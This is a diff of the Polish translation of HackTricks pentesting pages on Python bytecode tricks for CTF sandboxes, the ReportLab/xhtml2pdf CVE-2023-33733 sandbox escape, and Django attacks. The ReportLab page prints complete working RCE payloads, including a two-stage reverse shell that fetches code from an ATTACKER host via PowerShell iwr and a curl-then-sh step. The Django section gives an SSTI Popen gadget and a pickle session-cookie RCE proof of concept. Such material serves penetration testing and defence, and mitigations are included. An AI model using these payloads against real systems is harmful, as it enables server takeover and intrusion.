+> Jeśli chcesz **dowiedzieć się** o **python bytecode** dogłębnie, przeczytaj ten **świetny** wpis na ten temat: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)

-W niektórych CTFs możesz otrzymać nazwę **custom function where the flag** i musisz zobaczyć **internals** tej **function**, aby ją wyekstrahować.
+W niektórych CTFs możesz otrzymać nazwę **custom function where the flag** i musisz zobaczyć **wnętrze** tej **funkcji**, aby ją wyodrębnić.

-Oto function do zbadania:
+To jest funkcja do zbadania:
 ```python
 def get_flag(some_input):
 var1=1
@ -807,7 +807,7 @@ dir(get_flag) #Get info tof the function
 ```
 #### globals

-`__globals__` and `func_globals` (to samo) Uzyskuje dostęp do środowiska globalnego. W przykładzie widać niektóre zaimportowane moduły, niektóre zmienne globalne oraz zadeklarowaną ich zawartość:
+`__globals__` and `func_globals`(To samo) Pobiera środowisko globalne. W przykładzie możesz zobaczyć niektóre zaimportowane moduły, niektóre zmienne globalne i ich zadeklarowaną zawartość:
 ```python
 get_flag.func_globals
 get_flag.__globals__
@ -820,7 +820,7 @@ CustomClassObject.__class__.__init__.__globals__

 ### **Dostęp do kodu funkcji**

-**`__code__`** i `func_code`: Możesz **uzyskać dostęp** do tego **atrybutu** funkcji, aby **uzyskać obiekt kodu** tej funkcji.
+**`__code__`** and `func_code`: Możesz **uzyskać dostęp** do tego **atrybutu** funkcji, aby **uzyskać obiekt kodu funkcji**.
 ```python
 # In our current example
 get_flag.__code__
@ -834,7 +834,7 @@ compile("print(5)", "", "single")
 dir(get_flag.__code__)
 ['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
 ```
-### Pozyskiwanie informacji o kodzie
+### Pobieranie informacji o kodzie
 ```python
 # Another example
 s = '''
@ -908,7 +908,7 @@ dis.dis(get_flag)
 44 LOAD_CONST               0 (None)
 47 RETURN_VALUE
 ```
-Zauważ, że **jeśli nie możesz zaimportować `dis` w python sandbox** możesz uzyskać **bytecode** funkcji (`get_flag.func_code.co_code`) i **disassemble** go lokalnie. Nie zobaczysz zawartości zmiennych ładowanych (`LOAD_CONST`), ale możesz je odgadnąć z (`get_flag.func_code.co_consts`), ponieważ `LOAD_CONST` także podaje offset zmiennej, która jest ładowana.
+Zauważ, że **jeśli nie możesz zaimportować `dis` w python sandbox** możesz uzyskać **bytecode** funkcji (`get_flag.func_code.co_code`) i **disassemble** ją lokalnie. Nie zobaczysz zawartości zmiennych, które są ładowane (`LOAD_CONST`), ale możesz je odgadnąć z (`get_flag.func_code.co_consts`), ponieważ `LOAD_CONST` także podaje offset zmiennej, która jest ładowana.
 ```python
 dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
 0 LOAD_CONST          1 (1)
@ -932,8 +932,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
 ```
 ## Kompilacja Pythona

-Wyobraźmy sobie teraz, że w pewien sposób możesz **dump informacji o funkcji, której nie możesz wykonać**, ale **musisz** ją **wykonać**.\\
-Jak w poniższym przykładzie, **możesz uzyskać dostęp do code object** tej funkcji, ale samo czytanie disassemble **nie pozwala ci obliczyć flagi** (_wyobraź sobie bardziej złożoną funkcję `calc_flag`_)
+Wyobraźmy sobie teraz, że w jakiś sposób możesz **zrzucić informacje o funkcji, której nie możesz wykonać**, ale **musisz** ją **wykonać**.\
+Jak w poniższym przykładzie, możesz **uzyskać dostęp do obiektu kodu** tej funkcji, ale samo czytanie disassemblacji nie pozwala ci **obliczyć flagi** (_wyobraź sobie bardziej złożoną funkcję `calc_flag`_)
 ```python
 def get_flag(some_input):
 var1=1
@ -948,7 +948,7 @@ return "Nope"
 ```
 ### Tworzenie code object

-Po pierwsze, musimy wiedzieć **how to create and execute a code object**, żebyśmy mogli stworzyć taki obiekt i wykonać naszą funkcję leaked:
+Przede wszystkim musimy wiedzieć **how to create and execute a code object**, żeby móc stworzyć jeden do wykonania naszej function leaked:
 ```python
 code_type = type((lambda: None).__code__)
 # Check the following hint if you get an error in calling this
@ -968,7 +968,7 @@ mydict['__builtins__'] = __builtins__
 function_type(code_obj, mydict, None, None, None)("secretcode")
 ```
 > [!TIP]
-> W zależności od wersji python **parametry** `code_type` mogą mieć **inny porządek**. Najlepszym sposobem, aby poznać porządek parametrów w wersji python, której używasz, jest uruchomienie:
+> W zależności od wersji Pythona **parametry** `code_type` mogą mieć **inny porządek**. Najlepszym sposobem, aby poznać kolejność parametrów w wersji Pythona, którą uruchamiasz, jest uruchomienie:
 >
 > ```
 > import types
@ -976,10 +976,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
 > 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n      flags, codestring, constants, names, varnames, filename, name,\n      firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object.  Not for the faint of heart.'
 > ```

-### Odtwarzanie leaked funkcji
+### Odtwarzanie funkcji leaked

 > [!WARNING]
-> W następującym przykładzie pobierzemy wszystkie dane potrzebne, aby odtworzyć funkcję bezpośrednio z obiektu kodu funkcji. W **prawdziwym przykładzie** wszystkie **wartości** potrzebne do wykonania funkcji **`code_type`** to właśnie to, co **będziesz musiał leak**.
+> W poniższym przykładzie pobierzemy wszystkie dane potrzebne do odtworzenia funkcji bezpośrednio z obiektu kodu funkcji. W **prawdziwym przykładzie**, wszystkie **wartości** potrzebne do wykonania funkcji **`code_type`** to właśnie to, co **będziesz musiał(a) leak**.
 ```python
 fc = get_flag.__code__
 # In a real situation the values like fc.co_argcount are the ones you need to leak
@ -990,12 +990,12 @@ mydict['__builtins__'] = __builtins__
 function_type(code_obj, mydict, None, None, None)("secretcode")
 #ThisIsTheFlag
 ```
-### Bypass Defenses
+### Obejście zabezpieczeń

-W poprzednich przykładach na początku tego wpisu możesz zobaczyć **jak wykonać dowolny kod w pythonie używając funkcji `compile`**. To ciekawe, ponieważ możesz **wykonać całe skrypty** z pętlami i wszystkim w **one liner** (i moglibyśmy to samo zrobić używając **`exec`**).\
-Czasami jednak może być przydatne **stworzyć** **skompilowany obiekt** na lokalnej maszynie i uruchomić go w **CTF machine** (na przykład ponieważ w CTF nie mamy funkcji `compiled`).
+W poprzednich przykładach na początku tego wpisu możesz zobaczyć **jak wykonać dowolny kod python używając funkcji `compile`**. To ciekawe, ponieważ możesz **wykonywać całe skrypty** z pętlami i wszystkim w **one liner** (i moglibyśmy zrobić to samo używając **`exec`**).\
+W każdym razie, czasami może być użyteczne **utworzenie** **skompilowanego obiektu** na maszynie lokalnej i wykonanie go na **maszynie CTF** (na przykład dlatego, że nie mamy funkcji `compiled` w CTF).

-Na przykład, skompilujmy i uruchommy ręcznie funkcję, która czyta _./poc.py_:
+Na przykład, skompilujmy i wykonajmy ręcznie funkcję, która odczytuje _./poc.py_:
 ```python
 #Locally
 def read():
@ -1022,7 +1022,7 @@ mydict['__builtins__'] = __builtins__
 codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
 function_type(codeobj, mydict, None, None, None)()
 ```
-Jeśli nie masz dostępu do `eval` lub `exec`, możesz utworzyć **właściwą funkcję**, ale jej bezpośrednie wywołanie zwykle zakończy się niepowodzeniem z komunikatem: _constructor not accessible in restricted mode_. Dlatego potrzebujesz **funkcji spoza środowiska ograniczonego, która wywoła tę funkcję.**
+Jeśli nie masz dostępu do `eval` lub `exec`, możesz utworzyć **prawidłową funkcję**, jednak jej bezpośrednie wywołanie zwykle zakończy się niepowodzeniem z komunikatem: _constructor not accessible in restricted mode_. Dlatego potrzebujesz **funkcji spoza ograniczonego środowiska, która wywoła tę funkcję.**
 ```python
 #Compile a regular print
 ftype = type(lambda: None)
@ -1030,9 +1030,9 @@ ctype = type((lambda: None).func_code)
 f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
 f(42)
 ```
-## Dekompilacja skompilowanego kodu Python
+## Dekompilacja skompilowanego kodu Pythona

-Używając narzędzi takich jak [**https://www.decompiler.com/**](https://www.decompiler.com) można **dekompilować** dany skompilowany kod python.
+Używając narzędzi takich jak [**https://www.decompiler.com/**](https://www.decompiler.com) można **dekompilować** dany skompilowany kod Pythona.

 **Zobacz ten samouczek**:

@ -1045,8 +1045,8 @@ Używając narzędzi takich jak [**https://www.decompiler.com/**](https://www.de

 ### Assert

-Python uruchamiany z optymalizacjami przy użyciu parametru `-O` usunie instrukcje assert oraz wszelki kod zależny od wartości **debug**.\
-Dlatego sprawdzenia takie jak
+Python uruchamiany z optymalizacją przy użyciu parametru `-O` usunie instrukcje assert oraz dowolny kod zależny od wartości **debug**.\
+W związku z tym, sprawdzenia takie jak
 ```python
 def check_permission(super_user):
 try:
--- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
+++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
@ -2,76 +2,76 @@

 {{#include ../../../banners/hacktricks-training.md}}

-Ta strona dokumentuje praktyczne obejście sandboxa i prymityw RCE w ReportLab’s rl_safe_eval używanym przez xhtml2pdf i inne pipeline’y generujące PDF, gdy renderują HTML kontrolowany przez użytkownika do PDFów.
+Ta strona dokumentuje praktyczny sandbox escape i prymityw RCE w rl_safe_eval ReportLab używanym przez xhtml2pdf i inne pipeline'y generujące PDF, gdy renderują HTML kontrolowany przez użytkownika do PDF.

-CVE-2023-33733 dotyczy ReportLab w wersjach do i włącznie 3.6.12. W pewnych kontekstach atrybutów (na przykład color) wartości owinięte w potrójne nawiasy [[[ ... ]]] są oceniane po stronie serwera przez rl_safe_eval. Poprzez skonstruowanie ładunku, który pivotuje z białej listy builtinów (pow) do jego Pythonowych globals funkcji, atakujący może dotrzeć do modułu os i wykonać polecenia.
+CVE-2023-33733 dotyczy ReportLab w wersjach do i włączając 3.6.12. W pewnych kontekstach atrybutów (na przykład color), wartości opakowane w triple brackets [[[ ... ]]] są oceniane po stronie serwera przez rl_safe_eval. Poprzez spreparowanie payloadu, który pivotuje od białolistowanego builtin (pow) do jego funkcji Pythonowych globals, atakujący może dotrzeć do modułu os i wykonać polecenia.

 Kluczowe punkty
- Trigger: wstrzyknij [[[ ... ]]] do ocenianych atrybutów, takich jak <font color="..."> w obrębie markup parsowanego przez ReportLab/xhtml2pdf.
+- Trigger: wstrzyknięcie [[[ ... ]]] w oceniane atrybuty takie jak <font color="..."> w markupie parsowanym przez ReportLab/xhtml2pdf.
 - Sandbox: rl_safe_eval zastępuje niebezpieczne builtiny, ale oceniane funkcje nadal ujawniają __globals__.
- Bypass: stwórz przejściową klasę Word, aby obejść sprawdzanie nazw w rl_safe_eval i uzyskać dostęp do stringa "__globals__" unikając filtrowania zablokowanych dunderów.
+- Bypass: utworzyć przejściową klasę Word, by obejść sprawdzanie nazw rl_safe_eval i uzyskać dostęp do łańcucha "__globals__" unikając filtrowania dunderów.
 - RCE: getattr(pow, Word("__globals__"))["os"].system("<cmd>")
- Stabilność: zwróć poprawną wartość dla atrybutu po wykonaniu (dla color użyj na przykład 'red').
+- Stabilność: Zwrócić prawidłową wartość atrybutu po wykonaniu (dla color użyj and 'red').

 Kiedy testować
- Aplikacje, które udostępniają eksport HTML→PDF (profile, faktury, raporty) i pokazują xhtml2pdf/ReportLab w metadanych PDF lub komentarzach w odpowiedzi HTTP.
- exiftool profile.pdf | egrep 'Producer|Title|Creator' → producent "xhtml2pdf"
- Odpowiedź HTTP dla PDF często zaczyna się komentarzem generatora ReportLab
+- Aplikacje, które udostępniają eksport HTML→PDF (profile, faktury, raporty) i pokazują xhtml2pdf/ReportLab w metadanych PDF lub komentarzach odpowiedzi HTTP.
+- exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
+- Odpowiedź HTTP dla PDF często zaczyna się od komentarza generatora ReportLab

-Jak działa obejście sandboxa
- rl_safe_eval usuwa lub zastępuje wiele builtinów (getattr, type, pow, ...) i stosuje filtrowanie nazw, aby odmówić dostępu do atrybutów zaczynających się od __ lub znajdujących się na denyliście.
+Jak działa obejście sandboxu
+- rl_safe_eval usuwa lub zastępuje wiele builtinów (getattr, type, pow, ...) i stosuje filtrowanie nazw, aby odrzucać atrybuty zaczynające się od __ lub znajdujące się na denyliście.
 - Jednak bezpieczne funkcje żyją w słowniku globals dostępnych jako func.__globals__.
- Użyj type(type(1)) aby odzyskać prawdziwą wbudowaną funkcję type (obejście wrappera ReportLab), następnie zdefiniuj klasę Word dziedziczącą po str z zmienionym zachowaniem porównań tak, że:
-  - .startswith('__') → zawsze False (obejście sprawdzenia name startswith('__'))
-  - .__eq__ zwraca False tylko przy pierwszym porównaniu (obejście sprawdzeń członkostwa w denyliście) i True potem (tak by Python getattr zadziałał)
-  - .__hash__ równa się hash(str(self))
- Dzięki temu getattr(pow, Word('__globals__')) zwraca słownik globals opakowanej funkcji pow, który zawiera zaimportowany moduł os. Następnie: ['os'].system('<cmd>').
+- Użyj type(type(1)) aby odzyskać prawdziwą wbudowaną funkcję type (omijając wrapper ReportLab), następnie zdefiniuj klasę Word pochodzącą od str z zmienionym zachowaniem porównania tak, że:
+- .startswith('__') → zawsze False (ominięcie sprawdzenia name startswith('__'))
+- .__eq__ zwraca False tylko przy pierwszym porównaniu (ominięcie sprawdzeń członkostwa w denyliście) i True potem (żeby Python getattr działał)
+- .__hash__ równa się hash(str(self))
+- Dzięki temu getattr(pow, Word('__globals__')) zwraca dict globals opakowanej funkcji pow, który zawiera zaimportowany moduł os. Następnie: ['os'].system('<cmd>').

-Minimalny schemat eksploatacji (przykład atrybutu)
-Umieść ładunek wewnątrz ocenianego atrybutu i upewnij się, że zwraca on poprawną wartość atrybutu przez boolean i 'red'.
+Minimalny schemat eksploatacji (przykład w atrybucie)
+Umieść payload wewnątrz ocenianego atrybutu i upewnij się, że zwraca prawidłową wartość atrybutu przez boolean and 'red'.

 <para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('ping 10.10.10.10') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
 exploit
 </font></para>

- Forma z list-comprehension pozwala na pojedyncze wyrażenie akceptowalne przez rl_safe_eval.
- Końcowe and 'red' zwraca poprawny CSS color, więc renderowanie nie przerywa się.
- Podmień polecenie według potrzeb; użyj ping do weryfikacji wykonania przy pomocy tcpdump.
+- Forma list-comprehension pozwala na pojedyncze wyrażenie akceptowalne przez rl_safe_eval.
+- Końcowe and 'red' zwraca prawidłowy kolor CSS, więc renderowanie nie zostaje przerwane.
+- Zastąp polecenie w razie potrzeby; użyj ping do weryfikacji wykonania przy pomocy tcpdump.

-Przebieg operacyjny
+Operacyjny workflow
 1) Zidentyfikuj generator PDF
 - PDF Producer pokazuje xhtml2pdf; odpowiedź HTTP zawiera komentarz ReportLab.
-2) Znajdź input odzwierciedlany w PDF (np. bio/opis profilu) i uruchom eksport.
+2) Znajdź input odzwierciedlany w PDF (np. bio/profil/opis) i wywołaj eksport.
 3) Zweryfikuj wykonanie niskoszumowym ICMP
 - Uruchom: sudo tcpdump -ni <iface> icmp
 - Payload: ... system('ping <your_ip>') ...
- Windows często wysyła dokładnie cztery echo requesty domyślnie.
-4) Ustanowienie shella
- Dla Windows, niezawodne podejście dwustopniowe omija problemy z cytowaniem/kodowaniem:
+- Windows często wysyła dokładnie cztery echo requests domyślnie.
+4) Ustanów shell
+- Dla Windows, niezawodne podejście dwustopniowe unika problemów z cudzysłowami/kodowaniem:
 - Stage 1 (pobranie):

 <para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -c iwr http://ATTACKER/rev.ps1 -o rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>

- Stage 2 (uruchomienie):
+- Stage 2 (wykonanie):

 <para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell ./rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>

- Dla systemów Linux możliwe jest podobne dwustopniowe podejście z curl/wget:
+- Dla celów Linux, podobne dwustopniowe z curl/wget jest możliwe:
 - system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')

 Notatki i wskazówki
- Konteksty atrybutów: color jest znanym ocenianym atrybutem; inne atrybuty w markup ReportLab mogą również oceniać wyrażenia. Jeśli jedno miejsce jest sanitizowane, spróbuj innych renderowanych do PDF flow (inne pola, style tabel, itd.).
- Cytowanie: trzymaj polecenia zwarte. Dwustopniowe pobieranie znacznie redukuje problemy z cytowaniem i eskapowaniem.
- Niezawodność: jeśli eksporty są cachowane lub kolejkowane, nieznacznie zmieniaj ładunek (np. losowa ścieżka lub query), aby uniknąć trafienia do cache.
+- Konteksty atrybutów: color jest znanym ocenianym atrybutem; inne atrybuty w markupie ReportLab mogą również oceniać wyrażenia. Jeśli jedno miejsce jest sanitizowane, spróbuj innych renderowanych lokalizacji w przepływie PDF (różne pola, style tabel, itd.).
+- Cytowanie: Utrzymuj polecenia kompaktowe. Dwustopniowe pobrania znacznie redukują problemy z cytowaniem i escape'owaniem.
+- Niezawodność: Jeśli eksporty są cachowane lub kolejkowane, nieznacznie zmieniaj payload (np. losowa ścieżka lub query), aby nie trafiać w cache.

-Łagodzenie i wykrywanie
- Uaktualnij ReportLab do 3.6.13 lub nowszego (CVE-2023-33733 naprawiony). Śledź też komunikaty bezpieczeństwa w pakietach dystrybucji.
- Nie podawaj HTML/markup kontrolowanego przez użytkownika bezpośrednio do xhtml2pdf/ReportLab bez ścisłej sanitizacji. Usuń/odrzuć konstrukty [[[...]]] oceniające wyrażenia i vendor-specific tagi, gdy input jest nieufny.
- Rozważ wyłączenie lub opakowanie użycia rl_safe_eval całkowicie dla danych nieufnych.
+Mitigacje i detekcja
+- Uaktualnij ReportLab do 3.6.13 lub nowszego (CVE-2023-33733 naprawiony). Śledź również advisories bezpieczeństwa w pakietach dystrybucji.
+- Nie podawaj HTML/markup kontrolowanego przez użytkownika bezpośrednio do xhtml2pdf/ReportLab bez ścisłej sanitacji. Usuń/odrzuć [[[...]]] konstrukty oceny i vendor-specific tagi, gdy input jest nieufny.
+- Rozważ wyłączenie lub owinięcie użycia rl_safe_eval całkowicie dla nieufnych inputów.
 - Monitoruj podejrzane połączenia wychodzące podczas generowania PDF (np. ICMP/HTTP z serwerów aplikacji podczas eksportu dokumentów).

-Referencje
- PoC i analiza techniczna: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733)
+References
+- PoC and technical analysis: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733)
 - 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): [HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
 - NVD entry (affected versions): [CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
 - xhtml2pdf docs (markup/page concepts): [xhtml2pdf docs](https://xhtml2pdf.readthedocs.io/en/latest/format_html.html)
--- a/src/network-services-pentesting/pentesting-web/django.md
+++ b/src/network-services-pentesting/pentesting-web/django.md
@ -2,10 +2,10 @@

 {{#include ../../banners/hacktricks-training.md}}

-## Cache Manipulation to RCE
-Django's default cache storage method is [Python pickles](https://docs.python.org/3/library/pickle.html), which can lead to RCE if [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Jeśli atakujący może uzyskać write access do cache, może eskalować tę podatność do RCE na serwerze bazowym**.
+## Manipulacja cache prowadząca do RCE
+Django's default cache storage method is [Python pickles](https://docs.python.org/3/library/pickle.html), which can lead to RCE if [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **If an attacker can gain write access to the cache, they can escalate this vulnerability to RCE on the underlying server**.

-Django cache is stored in one of four places: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), or a [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Cache stored in a Redis server or database are the most likely attack vectors (Redis injection and SQL injection), but an attacker may also be able to use file-based cache to turn an arbitrary write into RCE. Maintainersi oznaczyli to jako nieistotne. Ważne jest, aby pamiętać, że folder z plikami cache, nazwa tabeli SQL i szczegóły serwera Redis będą się różnić w zależności od implementacji.
+Django cache is stored in one of four places: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), or a [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Cache stored in a Redis server or database are the most likely attack vectors (Redis injection and SQL injection), but an attacker may also be able to use file-based cache to turn an arbitrary write into RCE. Maintainers have marked this as a non-issue. It's important to note that the cache file folder, SQL table name, and Redis server details will vary based on implementation.

 This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436

@ -14,16 +14,16 @@ This HackerOne report provides a great, reproducible example of exploiting Djang
 ## Server-Side Template Injection (SSTI)
 The Django Template Language (DTL) is **Turing-complete**. If user-supplied data is rendered as a *template string* (for example by calling `Template(user_input).render()` or when `|safe`/`format_html()` removes auto-escaping), an attacker may achieve full SSTI → RCE.

-### Wykrywanie
-1. Szukaj dynamicznych wywołań do `Template()` / `Engine.from_string()` / `render_to_string()` które zawierają *jakiekolwiek* niesanitizowane dane żądania.
-2. Wyślij time-based lub arytmetyczny payload:
+### Detection
+1. Szukaj dynamicznych wywołań `Template()` / `Engine.from_string()` / `render_to_string()` które zawierają *jakiekolwiek* nieoczyszczone dane z żądania.
+2. Wyślij ładunek oparty na czasie lub arytmetyczny:
 ```django
 {{7*7}}
 ```
-Jeśli wyrenderowany wynik zawiera `49`, to wejście jest kompilowane przez silnik szablonów.
+Jeśli wyrenderowany output zawiera `49`, oznacza to, że dane wejściowe są kompilowane przez silnik szablonów.

-### Prymityw do RCE
-Django blokuje bezpośredni dostęp do `__import__`, ale graf obiektów Pythona jest osiągalny:
+### Sposób eskalacji do RCE
+Django blocks direct access to `__import__`, but the Python object graph is reachable:
 ```django
 {{''.__class__.mro()[1].__subclasses__()}}
 ```
@ -31,14 +31,14 @@ Znajdź indeks `subprocess.Popen` (≈400–500 w zależności od kompilacji Pyt
 ```django
 {{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
 ```
-Bezpieczniejszym uniwersalnym gadgetem jest iterowanie, aż `cls.__name__ == 'Popen'`.
+Bardziej bezpieczny uniwersalny gadget to iteracja aż `cls.__name__ == 'Popen'`.

-Ten sam gadget działa dla funkcji renderowania szablonów **Debug Toolbar** lub **Django-CMS**, które niewłaściwie obsługują dane wejściowe użytkownika.
+Ten sam gadget działa dla **Debug Toolbar** lub funkcji renderowania szablonów **Django-CMS**, które niewłaściwie obsługują dane wejściowe od użytkownika.

 ---

-### Zobacz też: ReportLab/xhtml2pdf PDF export RCE
-Aplikacje oparte na Django często integrują xhtml2pdf/ReportLab do eksportu widoków jako PDF. Gdy HTML kontrolowany przez użytkownika trafia do generowania PDF, rl_safe_eval może ocenić wyrażenia wewnątrz potrójnych nawiasów `[[[ ... ]]]`, umożliwiając wykonanie kodu (CVE-2023-33733). Szczegóły, payloads i mitigations:
+### Zobacz także: ReportLab/xhtml2pdf PDF export RCE
+Aplikacje oparte na Django często integrują xhtml2pdf/ReportLab w celu eksportu widoków do PDF. Gdy HTML kontrolowany przez użytkownika trafia do generowania PDF, rl_safe_eval może ocenić wyrażenia wewnątrz potrójnych nawiasów `[[[ ... ]]]`, umożliwiając wykonanie kodu (CVE-2023-33733). Szczegóły, payloads i sposoby łagodzenia:

 {{#ref}}
 ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
@ -47,11 +47,11 @@ Aplikacje oparte na Django często integrują xhtml2pdf/ReportLab do eksportu wi
 ---

 ## Pickle-Backed Session Cookie RCE
-Jeśli ustawienie `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` jest włączone (lub używany jest niestandardowy serializer, który deserializuje pickle), Django *decrypts and unpickles* session cookie **zanim** wywoła jakikolwiek kod widoku. W związku z tym posiadanie prawidłowego klucza podpisującego (domyślnie projektowy `SECRET_KEY`) wystarcza do natychmiastowego remote code execution.
+Jeśli ustawienie `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` jest włączone (lub używany jest niestandardowy serializer, który deserializuje pickle), Django *deszyfruje i deserializuje (unpickles)* cookie sesji **zanim** wywoła jakikolwiek kod widoku. W związku z tym posiadanie ważnego klucza podpisującego (domyślnie projektowy `SECRET_KEY`) wystarcza do natychmiastowego zdalnego wykonania kodu.

-### Exploit Requirements
+### Wymagania exploitu
 * Serwer używa `PickleSerializer`.
-* Atakujący zna / może odgadnąć `settings.SECRET_KEY` (leaks via GitHub, `.env`, error pages, itd.).
+* Atakujący zna / może odgadnąć `settings.SECRET_KEY` (leaks via GitHub, `.env`, strony błędów, itp.).

 ### Proof-of-Concept
 ```python
@ -67,17 +67,17 @@ return (os.system, ("id > /tmp/pwned",))
 mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
 print(f"sessionid={mal}")
 ```
-Wyślij otrzymane cookie, a payload wykona się z uprawnieniami procesu WSGI.
+Wyślij otrzymane cookie, a payload uruchomi się z uprawnieniami procesu WSGI worker.

-**Środki zaradcze**: Zachowaj domyślny `JSONSerializer`, regularnie zmieniaj `SECRET_KEY` i skonfiguruj `SESSION_COOKIE_HTTPONLY`.
+**Mitigacje**: Zachowaj domyślny `JSONSerializer`, rotuj `SECRET_KEY` i skonfiguruj `SESSION_COOKIE_HTTPONLY`.

 ---

-## Najnowsze (2023-2025) wysokiego ryzyka CVE Django, które Pentesters powinni sprawdzić
-* **CVE-2025-48432** – *Log Injection via unescaped `request.path`* (załatane 4 Jun 2025). Pozwala atakującym przemycać znaki nowej linii/kody ANSI do plików logów i zatruwać dalszą analizę logów. Poprawki w wersjach ≥ 4.2.22 / 5.1.10 / 5.2.2.
-* **CVE-2024-42005** – *Critical SQL injection* in `QuerySet.values()/values_list()` on `JSONField` (CVSS 9.8). Pozwala skonstruować klucze JSON, które przerwą cytowanie i wykonają dowolne zapytania SQL. Załatane w 4.2.15 / 5.0.8.
+## Najnowsze (2023-2025) wysokiego wpływu CVE Django, które pentesterzy powinni sprawdzić
+* **CVE-2025-48432** – *Log Injection via unescaped `request.path`* (załatane 4 czerwca 2025). Pozwala atakującym przemycić znaki nowej linii/kody ANSI do plików logów i zatruć dalszą analizę logów. Patch level ≥ 4.2.22 / 5.1.10 / 5.2.2.
+* **CVE-2024-42005** – *Critical SQL injection* w `QuerySet.values()/values_list()` na `JSONField` (CVSS 9.8). Spreparuj klucze JSON, aby przerwać cytowanie i wykonać dowolne zapytania SQL. Załatane w 4.2.15 / 5.0.8.

-Zawsze zidentyfikuj dokładną wersję frameworka za pomocą strony błędu `X-Frame-Options` lub hasha `/static/admin/css/base.css` i przetestuj powyższe tam, gdzie ma to zastosowanie.
+Zawsze ustal dokładną wersję frameworka poprzez stronę błędu `X-Frame-Options` lub hash `/static/admin/css/base.css` i przetestuj powyższe, gdy mają zastosowanie.

 ---

--- a/src/windows-hardening/active-directory-methodology/README.md
+++ b/src/windows-hardening/active-directory-methodology/README.md
@ -1,58 +1,58 @@
-# Metodologia Active Directory
+# Active Directory Methodology

